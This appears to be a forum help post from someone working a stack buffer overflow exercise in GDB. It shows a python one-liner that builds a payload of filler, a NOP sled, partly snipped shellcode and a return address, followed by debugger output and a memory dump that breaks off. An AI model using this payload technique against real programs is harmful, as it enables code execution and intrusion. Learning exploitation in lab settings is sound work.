Binary exploitation help
So I've found the payload to reach EIP and can successfully send an address with the following payload in GDB run $(python -c 'print "\x41" * (2064 - 124 - [SHELLCODE_SIZE] - 4 )+ "\x90" * 124 + "\xda\xcb\xbd\x3--SNIP--\x5b\x37\xbb" + "\xff\xff\xff\xff"') I know this works because GDB returns an error: Program received signal SIGSEGV, Segmentation fault. 0xffffffff in ?? () To get a return address I set a breakpoint at say 0xffffd731: shellcode starts at 0xffffd73c. The NOP sled SHOULD slide right into the shellocode 0xffffd729: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd731: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xffffd739: 0x90 0x90 0x90 0xda 0xcb 0xbd 0x3f 0x18 0xffffd741: 0xde 0x76
…